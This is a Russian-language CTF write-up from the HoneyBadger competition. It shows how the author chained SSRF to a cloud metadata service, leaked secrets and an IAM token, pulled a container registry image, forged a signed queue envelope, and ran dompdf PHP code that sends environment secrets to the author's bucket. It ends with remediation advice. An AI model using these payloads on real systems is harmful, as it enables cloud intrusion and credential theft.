Привет, Хабр! Меня зовут Владимир Аламов, я инженер по информационной безопасности и комьюнити-лидер сообщества Security Champions в  Авито. 

Недавно AvitoTech совместно с SPbCTF организовали соревнование по спортивному хакингу HoneyBadger CTF. Участникам нужно было найти в системе дыру и через неё дотянуться до спрятанных данных. Лиги сделали две: «Медовую» для новых игроков и «Барсучью» для продвинутых.

В этой статье я расскажу про одно из самых сложных заданий «Медовой лиги» — МёдХантер. Это игрушечный сервис для поиска работы. В нём нужно пройти целую цепочку и достать из одной системы сразу три флага. Начинается всё с безобидного импорта резюме по ссылке, а заканчивается запуском своего кода на чужом сервере.

Содержание

Знакомимся с таском и целью

Инфраструктура в задании одна, а тасков три, и решать их можно в любом порядке. 

Но сначала нужно разобраться, из чего собрана цель. На виртуальной машине стоят nginx и SPA (Single Page Application), за ними Go-бэкенд и postgres. Всё как обычно ровно до момента, когда пользователь просит PDF, — сам бэкенд его не рендерит.

Рендеринг вынесен в отдельную очередь для тяжёлых задач. Бэкенд кладёт в S3-бакет подписанный конверт с заданием — пока достаточно считать его пакетом с данными, устройство разберём ниже. Как только в бакете появляется объект с префиксом incoming/ и расширением .json, срабатывает триггер: забирает JSON с резюме, отдаёт на рендеринг и передаёт результат дальше.

Всю эту схему я прочитал в коде, и дальше покажу, где именно.

Составляем карту API и находим SSRF

Начинать нужно с разведки — без неё будем тыкаться куда попало. Вот так выглядит главная страница сервиса:

В фоне запускаем nmap и gobuster, а сами идём смотреть сайт руками. Стандартные практики здесь не работают. В robots.txt лежит Disallow: /, и это не даёт ничего. С gobuster то же самое: это SPA, и nginx на любой путь отдаёт index.html с кодом 200. Если искать им директории, 200 вернётся на любой запрос, и так на всех 65 тысячах путей. Тот случай, когда 100% шума и 0% пользы.

Зато в ходе прогулок по сайту находим /api/meta. Сначала кажется, что-то запретное, но нет, обычный путь с какой-то информацией. В нём, например, лежит employer registration false: зарегистрироваться работодателем нельзя, можно только соискателем.

Да и не нужно, тут не то чтобы сложно: регистрируемся обычным пользователем, открываем первую страницу — и всё нужное нашли. Но в жизни не так.

Дальше открываем Burp и видим, что при загрузке страниц уходит куча запросов. Среди них /api/me и /api/vacancies. Логично, что все методы API живут под префиксом /api/. Поиск по трафику находит упоминания api в JS-бандле.

Можно вычитать эти 230 КБ минифицированного кода глазами (удачи) или скормить бандл LLM, но проще искать по подстроке api прямо в нём — так сразу всплывают все нужные методы. Ничего нового разведка не дала, но потраченного времени было жаль, поэтому делюсь.

Один из найденных методов и есть наша цель — /api/seeker/resume/import, тот самый импорт по ссылке, который мы заметили ещё на второй странице. Работает он логично: мы загружаем ссылку, сервер по ней куда-то ходит, забирает данные и кладёт дальше. Что именно делает импорт, мы пока не знаем.

Тут еще больше контента

Раскручиваем SSRF до облака

Раз в систему можно вставить ссылку, сразу возникает подозрение на SSRF: сервер сам куда-то ходит. Удобно, что в том же минифицированном файле, всего на пять строк ниже списка API, лежит ещё и описание того, что вернёт сервер. А вернёт он всё: exception, content, текст ошибки, номер карты разработчика, что угодно. Для разведки лучше не придумаешь.

} catch (T) {
  _(T instanceof Ge
      ? {message: T.message,
         exception: T.exception,
         content: T.content}
      : {...});
}

Дальше всё просто. Один запрос — один ответ. Другой запрос — другой ответ. Берём старый добрый example.com (не evil.com, вдруг стоят фильтры) и пробуем импортировать оттуда «резюме».

Ничего похожего там, понятно, нет, поэтому бэкенд ждёт JSON, получает HTML, падает на парсинге и выводит нам всё подряд. По сути он скачал страницу целиком и сам показал, где споткнулся.

В проде так делают ради удобства отладки. Когда в поддержку приходят с «у меня ничего не работает», проще всего попросить прислать текст ошибки, потому что по нему сразу видно, что пошло не так. Здесь тем же удобством пользуемся уже мы: SSRF подтверждён, можно раскручивать.

Итак, раз есть SSRF, логично сходить во внутреннюю сеть — иначе зачем он нужен, не конкурентов же досить. Стучимся по внутренним адресам, которые знаем... и ничего.

Больше трёх штук я и не помню, так что за подсказкой пошёл в интернет. Первая же ссылка — да и в самом задании, кстати, упоминается облако. 

Смотрю, какие у облаков есть служебные адреса. Их оказалось два, начинаю с метаданных, и сразу ответ. 

Опытным путём выясняю, что на разные адреса возвращаются разные ответы: где-то порт закрыт, где-то хост существует, где-то что-то ещё. По статусам удобно ориентироваться. Перебирать руками весь диапазон 169.254.0.0/16 не пришлось, ведь нужный адрес 169.254.169.254 нашёлся сразу.

Это сервис метаданных. Нужен он вот зачем: серверы не знают, кто они и что здесь делают, поэтому спрашивают у сервиса метаданных, а тот поясняет, кто они и где их место. Вот только место нашего сервиса теперь у нас в руках.

По служебным адресам сразу понятно, что это Яндекс Клауд. Иду по яндексовому пути, беру из документации Compute Metadata v1, путь /computeMetadata/v1/, и получаю отказ: incorrect metadata flavor. Оказывается, нужен специальный заголовок, причём со значением, не поверите, Google. Этот заголовок как раз и защищает от таких, как мы. Без него метадата-сервис отвечает «уходи, не звали». А проставить его мы не можем — через SSRF ходим только по URL.

Выручает то, что не одним Яндексом единым мы живы. У того же адреса есть AWS-совместимый режим: стучимся на /latest/, и он отвечает нормально — поднимает его yc-imdsv1-bridge. По путям управления добираюсь до user-data, а там весь сок. Причём рядом есть нормальная защищённая ручка, просто рабочим остался старый небезопасный путь. Всё дело в легаси: когда-то на этом стеке был AWS, к его путям всё и привязали, а потом переехали на другое облако. Переписывать весь бэкенд, конечно, никто не стал. К самому CTF это отношения не имеет, я про прод в целом. Всё сделано аккуратно и защищено, прямо конфетка, а рядом просто дыра: обошёл калитку и получил всё, что нужно.

В user-data лежит cloud-config: разработчик прямо в cloud-init кладёт генерацию .env-файла со всем нужным содержимым. Вот здесь я и получил первый флаг, подумав, как же я ошибался. Имя бакета, access key, secret key, callback secret, REGISTRY_ID и куча всего ещё.

PDF_BETA_INVITE_CODE=avito{ExcLu51V3_pDF_4cc3Ss_3NAblEd}

STORAGE_BUCKET=medhunter-resumes-6d6c314a

STORAGE_ACCESS_KEY=YCAJE6hJjOgIlF3PuygPg3FVu

STORAGE_SECRET_KEY=YCPNni3w1j_GOTNT_tpBs2CWGxZZxqW1GYsKNw06

CALLBACK_SECRET=DrnbU5tvwVtmSzR62wvB0e2KantvBOhWCwKaZLtW

REGISTRY_ID=crpml40t8ia2kptf4iv7

hrportal1 · флаг avito{ExcLu51V3_pDF_4cc3Ss_3NAblEd}

Первый флаг лежит в PDF_BETA_INVITE_CODE. Это рабочий инвайт-код, который скармливают в /api/seeker/pdf/activate, и без него рендер PDF вообще не включается.

И это не всё — рядом лежит start.sh, а он интереснее.

Там виден IMDSv1 bridge, тот самый мост, который соединяет хорошее, безопасное решение с тем, что мы только что нашли. Там же metadata flavor: Google и сервис-аккаунт. Сервис-аккаунты — это хорошо, но важнее другое: есть access token, а ещё docker login с логином iam. Нам буквально выдали логин для докера. Запомните подсказку, она дальше пригодится. (Обязательно записывайте всё.)

Всё это указывает на IAM. Нам нужен IAM-токен, и сервис метаданных его хранит, поэтому просто спросим. И вот ответ:

$ imp ".../iam/security-credentials/default"

{"Code":"Success",
 "AccessKeyId":"",
 "SecretAccessKey":"",   ← пустые!
 "Token":"t1.9euelZrMkMrKi8eJlpmMk…",
 "Expiration":"2026-07-29T23:36:34Z"}

AccessKeyId и SecretAccessKey пустые, да они и не нужны: весь смысл в поле Token. С ним можно ходить в облачный API через Authorization: Bearer, и через него же проходит docker login, а значит, открыт доступ к Container Registry (его адрес, cr.yandex, тоже лежит в start.sh).

Здесь стоит подчеркнуть, что сам SSRF дал нам доступ только сюда, до метадаты. Дальше он не нужен, про него можно забыть как про страшный сон, ведь теперь у нас есть IAM-токен, с которым можно спокойно стучаться куда угодно.

Берём REGISTRY_ID из user-data и по нему получаем folderId.

По folderId запрашиваем список функций и находим одну, medhunter-pdf-renderer. Пока что это всё.

Дальше запрашиваем версии функции. Вывод огромный, но нужное в нём есть: source bucket и source object с исходным кодом (пригодится, чтобы его прочитать), бакет с результатами, callback URL и секреты. Правда, самих значений API не отдаёт: в ответе только имена ключей Lockbox и то, в какую переменную окружения каждый попадёт. Значит, доставать придётся из переменных окружения.

$ curl … "/functions/v1/versions?folderId=$F"

"environment": {
  "SOURCE_BUCKET": "medhunter-fn-src-6d6c314a",   ← исходники!
  "SOURCE_OBJECT": "pdf-renderer.zip",
  "RESULTS_BUCKET": "medhunter-results-6d6c314a",
  "CALLBACK_URL": "http://10.10.0.28/api/internal/render-callback" },
"secrets": [
  {"key":"pdf-signing-key",          "environmentVariable":"PDF_SIGNING_KEY"},
  {"key":"render-queue-signing-key", "environmentVariable":"RENDER_QUEUE_SIGNING_KEY"},
  … ],
"runtime": "php82", "entrypoint": "index.handler"

Как достать переменные окружения? Резюме кто-то подписывает, значит, функция где-то в рантайме берёт эти секреты. Нам нужно встроиться в неё так, чтобы она выполнила наш код и сама запросила нужные секреты, а мы потом их заберём — дальше дело техники, до этого ещё дойдём. Исходники функции лежат в том самом бакете, в pdf-renderer.zip, так что заглянем внутрь.

Может показаться, что можно и проще, допустим, пройтись IAM-токеном сразу по всем функциям и секретам облака. Нельзя :—) Тут сработала вторая хорошая практика — least privilege.

$ curl -H "Authorization: Bearer $T" .../lockbox/v1/secrets/…/payload

{"code": 7, "message": "Permission denied"}

Строго least privilege здесь, положим, нет, но какое-то разделение есть: токен видит конфигурацию функций, триггеров и реестра, но к самим секретам доступа не имеет. Сделано хорошо, шортката не будет. Единственный путь достать pdf-signing-key, а это третий флаг, — выполнить код внутри функции и вытащить его оттуда. Отрицательный результат тоже результат, и теперь ясно, что сюда копать не надо.

Жми сюда!

Получаем RCE внутри лямбды

Достаём исходники и смотрим, как попасть в функцию. source bucket и source object мы знаем из конфигурации, а S3-ключи забрали из user-data ещё в самом начале — этого хватает, чтобы скачать из бакета pdf-renderer.zip. Распаковываем и видим, что внутри куча PHP-файлов, и в render.php находится вишенка на торте 🍒🍰

$options = new Options();
$options->set('isPhpEnabled', true);        // ← исполнение PHP в HTML
$options->set('isRemoteEnabled', true);

$dompdf = new Dompdf($options);
$dompdf->loadHtml($html, 'UTF-8');

Из настроек dompdf здесь важна одна строка: isPhpEnabled = true. Она разрешает dompdf исполнять PHP, встреченный прямо в HTML. Звучит как дыра, но вообще-то это заявленная возможность dompdf — просто по умолчанию она выключена, потому что пускать такое в прод нельзя. Как идея звучит хорошо, а в реализации работает плохо, потому что пользовательский ввод не экранируется: поле «О себе» из резюме уходит в HTML-шаблон как есть и исполняется как миленький. Что напишете в нём на PHP, то и выполнится. Сам по себе isPhpEnabled = true ничего не даёт, но вместе с неэкранированным вводом — это RCE.

Правда, в лоб не сработает, потому что в index.php проверяется подпись конверта — того самого, с которого мы начинали на схеме. Это JSON с тремя полями:

{ "key":       "<uuid-v4>",
  "payload":   "<base64(json резюме)>",
  "signature": "<hmac_sha256(key + '.' + payload, RENDER_QUEUE_SIGNING_KEY)>" }

key здесь строго UUID, payload — резюме в base64, объект не больше 32 KiB. А signature считается на RENDER_QUEUE_SIGNING_KEY, который мы видели раньше в конфигурации. Вот только самого значения ключа у нас пока нет. Знаем, что нужно сделать, но сделать не можем. Плюс здесь ещё одна хорошая практика: подпись сверяется через hash_equals, а он работает за постоянное время, так что time-based атаку не прокрутить.

Казалось бы, тупик. Но в заметках у меня записан Container Registry (cr.yandex), а для обращения к нему есть всё — и Bearer-токен, и REGISTRY_ID. Причём докер-демон не нужен: запросы шлём обычным curl. Берём манифест, смотрим список слоёв, качаем самый крупный (там бинарь приложения) и распаковываем.

A=$(printf "iam:%s" "$T" | base64)

R=cr.yandex/v2/crpml40t8ia2kptf4iv7/hrportal-backend

$ curl -H "Authorization: Basic $A" "https://$R/manifests/latest"

"layers":[ …, {"size":4850989, "digest":"sha256:233313d0aa…"} ]

# качаем ТОЛЬКО самый крупный слой — там бинарь приложения

$ curl -sL -H "Authorization: Basic $A" "https://$R/blobs/sha256:233313d0aa…" -o l.tgz

$ tar -xzf l.tgz -C l && find l -type f -size +1M

l/app/hrportal-api

Реверсить бинарь никто не заставляет, можно доставать IDA или Ghidra, но зачем. Достаточно strings. В проде так не походишь: это всё равно что глазами читать минифицированный бандл целиком, пока пролистаете, состаритесь. Но для CTF это удобный шорткат. Мы знаем и формат флагов, и формат ключа очереди (в index.php он проверяется функцией is_valid_queue_signing_key по регулярке ^mhq_v1_[0-9a-f]{32}$), так что просто грепаем.

$ strings -n 8 l/app/hrportal-api | grep -oE 'mhq_v1_[0-9a-f]{32}'

mhq_v1_4f8c2d9a7b6e1c3055aa93df0b8e7241

$ strings -n 8 l/app/hrportal-api | grep -oE 'avito\{[^}]*\}'

avito{gOLd3N_w0rk_eXp3RIEnc3_d37EctED}              ← попутный флаг

invalid render queue signing key format

FROM render_results WHERE key = $1 AND user_id = $2

Второй флаг попался почти мимоходом: на радостях я грепнул по avito и сперва даже забыл, что вообще-то искал ключ очереди, а он лежал рядом. Заодно чуть ниже видно, что IDOR тут не пройдёт: результат проверяется на принадлежность пользователю (WHERE key = $1 AND user_id = $2). Про IDOR я в тот момент и не думал, но защита приятная.

hrportal2 · флаг avito{gOLd3N_w0rk_eXp3RIEnc3_d37EctED}

Тут же мелькает SQL, но инъекции здесь нет: запрос параметризован, значения приходят через плейсхолдеры $1 и $2 (pgx). Зато теперь у нас есть ключ подписи очереди, и мы знаем, как собирается конверт.

uuid v4 генерируется легко, осталось собрать сам вредоносный конверт. По пути, кстати, отвалилась пара соблазнительных, но тупиковых вариантов: чужой рендер не отдадут, а скачать готовый PDF из results-бакета не выйдет, потому что он приватный, и доступ есть только к своему бакету.

Дальше — самое удобное. В index.php объявлена глобальная функция s3_request — это полноценный клиент, который сам делает подпись, и он доступен из PHP, исполняемого в dompdf. Правило простое: если что-то можно переиспользовать, переиспользуйте, писать криптографию руками незачем. Поэтому пишем на старом добром PHP короткий скрипт, который заберёт PDF_SIGNING_KEY, RESULTS_ACCESS_KEY и RESULTS_SECRET_KEY и через s3_request положит их в наш бакет.

<script type="text/php">
$d = json_encode(array(
  'PDF_SIGNING_KEY'    => getenv('PDF_SIGNING_KEY'),
  'RESULTS_ACCESS_KEY' => getenv('RESULTS_ACCESS_KEY'),
  'RESULTS_SECRET_KEY' => getenv('RESULTS_SECRET_KEY')
));
s3_request('PUT', getenv('STORAGE_ACCESS_KEY'), getenv('STORAGE_SECRET_KEY'),
           'medhunter-resumes-6d6c314a', 'pwn-badger-out.txt', $d, 'text/plain');
</script>

Секреты функция достанет сама: она исполняется внутри контейнера, где ей и так доступны все env-переменные, нам даже знать их не нужно, главное было сюда добраться. Обратите внимание, что имя выходного файла я задал с расширением .txt и без префикса incoming/. Это важно из-за триггера.

Рендер срабатывает на объект в incoming/ с расширением .json. Первое задание я сначала залил в корень бакета, и ничего не произошло: объект остался лежать, лямбда не вызвалась. Угадывать, впрочем, не пришлось: конфигурация триггера читается тем же IAM-токеном — prefix: "incoming/", suffix: ".json". Заодно стало понятно, куда нельзя класть результат. Положи я вывод в тот же incoming/*.json — функция прочитала бы свой собственный файл и ушла бы в цикл. Поэтому результат кладём в .txt мимо триггера и потом просто забираем. Отсюда простое правило для отладки. Входной объект остался на месте — значит, триггер не сработал, и дело в имени или префиксе. Объект удалился, но результата нет — значит, триггер отработал, и проблему надо искать в подписи или в самой нагрузке.

А дальше всё сходится. Штатно функция кладёт готовый PDF в бакет результатов medhunter-results-* и дёргает callback, но внутри неё исполняется уже наш код. Он через s3_request() пишет в бакет резюме medhunter-resumes-6d6c314a — тот самый, к которому у нас и так есть доступ по S3-ключам из user-data. Отправляем конверт в очередь, функция отрабатывает и подписывает документ, а наш код тем временем кладёт секреты в этот бакет. Так мы забираем PDF_SIGNING_KEY — третий флаг.

hrportal3 · флаг avito{med0edsk_cl0ud_dompdf_rce_via_s3_l@mbda}

Этим ключом подписывается каждый сгенерированный документ: код проверки PDF считается как hash_hmac('sha256', $documentId, $pdfSigningKey). С ключом на руках можно выпустить валидный «знак качества» для любого документа, даже никогда не существовавшего.

Остальные ключи, что прилетели вместе с ним, уже не нужны — мы получили их раньше. Казалось бы, всё, третий флаг взят. Но у задания есть изюминка: в hrportal2 была ещё «золотая звезда». В render.php заложена функция, что ваше резюме — это VIP, и кандидату ставится «рекомендованный». (Актуально в наше время.)

$isVip = ($resume['is_vip'] ?? false) === true;

$vipBadge = $isVip ? '<div class="vip-star">★</div>РЕКОМЕНДОВАННЫЙ КАНДИДАТ' : '';

# структура, в которую импорт разбирает чужой JSON:

api.importedResume { … Contact string; IsVIP bool "json:\"is_vip\"" }

Это классический mass assignment: мапа параметров настроена так, что бэкенд разбирает из чужого JSON больше полей, чем следовало бы. Достаточно заново собрать резюме и добавить в него is_vip: true и появится та самая звёздочка. Форма сохранения резюме шлёт фиксированный набор полей, но is_vip среди них нет. А импорт по ссылке разбирает произвольный JSON в структуру, где это поле есть. Значит, свой JSON с is_vip: true скармливаем именно импорту: хостинг не нужен — кладём файл в свой бакет и отдаём импорту presigned-ссылку. Это отдельная ветка, а не продолжение цепочки с конвертом. Зато на выходе — резюме поп-звезды.

Разбираем ошибки 

Ошибок в сервисе хватало, так что пройдёмся по ним точечно.

SSRF без валидации. Дешевле всего защититься allow-list'ом адресов, куда сервису разрешено ходить, плюс запретом на внутреннюю сеть. Но одного списка мало. Адрес нужно резолвить в IP до запроса и заново после каждого редиректа, а число редиректов ограничивать, иначе классический DNS rebinding обойдёт любой allow-list. Плюс явно закрыть диапазоны 169.254/16, 10/8 и 127/8. А системно всё это решает egress-прокси: весь исходящий трафик сервиса ходит через него, и фильтрация живёт в одном месте.

Детали ошибки наружу. Тело ответа в тексте ошибки — начало всего пути. Не будь там столько информации, мы бы ничего не поняли. В жизни злоумышленник просто прошёл бы мимо, до последнего долбятся только в таргетированных атаках. Наружу — только код ошибки, детали в логи.

Включён IMDSv1. Первая версия — та, где шлёшь запрос и сразу получаешь ответ, без защиты. Её надо убирать: отключить мост, перейти на IMDSv2 и выставить hop-limit = 1, чтобы токен нельзя было утащить через проксирующий контейнер. А относится это не к конкретному таску, а к любому легаси. Такое надо класть в бэклог и регулярно чинить, иначе рано или поздно кто-нибудь раскопает.

Секреты в cloud-init user-data. Вообще кто так делает? А кто-то обязательно сделает. Настраивайте сканеры секретов и не давайте разработчикам делать грязь.

Избыточные права сервис-аккаунта. Разделение здесь есть, и это хорошо, но его недостаточно. Сервис-аккаунту виртуалки не нужны роли registry.viewer и functions.viewer. Если их забрать, с угнанной машины уже не получится расспрашивать облако о функциях и реестре.

Статические S3-ключи на запись в триггерный бакет. Нужна ротация, это обычный best practice. Период у всех свой: если ключи дёшево генерить, генерьте почаще.

Теперь по коду.

isPhpEnabled = true. Надо выключать. По умолчанию он и так выключен, и не просто так: раз работает, не трогай. 

Нет экранирования HTML. Пользовательский ввод уходит в шаблон как есть, и именно из-за этого isPhpEnabled вообще сработал. Фикс дешёвый: пропускать каждое пользовательское поле через htmlspecialchars($v, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') перед подстановкой. Без ENT_SUBSTITUTE и явной кодировки битый UTF-8 превратится в пустую строку.

Mass assignment (is_vip из импорта). Спасает строгий контракт: каждое поле описано, тип задан, никакой самодеятельности. Для импорта это отдельная DTO и белый список разрешённых полей, а не чёрный список запрещённых. Безопасность не всегда про удобство. 

Секрет вкомпилирован в бинарь. Кажется, такое встретишь только на CTF, но нет. Разработчик тестит локально, зашивает секрет прямо в код, ставит дефолт на случай недоступной переменной окружения и надеется, что в прод не уедет. Уедет. Попадёт в git — останется навсегда, а если в github, вообще жесть. Правильно читать секрет из Lockbox при старте, а не зашивать в сборку.

Один секрет в Lockbox на всё. Секреты надо разделять по назначению: подпись документов и подпись очереди — это разные ключи. Вспомните, как утекли логины и пароли к 16 млрд учетных записей. Столько людей на земле не живёт, сколько секретов утекло.

Теперь про хорошее, потому что не всё было плохо. Сервис-аккаунты разделены, никаких личных аккаунтов, hash_equals вместо простого сравнения, есть проверка, что объект принадлежит пользователю. В самой функции тоже сделано аккуратно: размер задания проверяется HEAD-запросом (не больше 32 KiB) ещё до скачивания, формат ключа очереди валидируется на старте, а само задание удаляется из бакета после обработки.

Но самое крутое — цепочка. Не как на простеньких CTF, когда взял один флаг, и всё. Здесь приходится возвращаться к прошлым шагам и связывать находки в одну цепочку, и это классно. В мире сейчас тоже почти не бывает «нажал кнопку и взломал Пентагон».

Спасибо, что дочитали до конца! Насколько сложной показалась вам задача? Как бы вы её решили? Делитесь в комментариях, задавайте вопросы!

Кликни здесь и узнаешь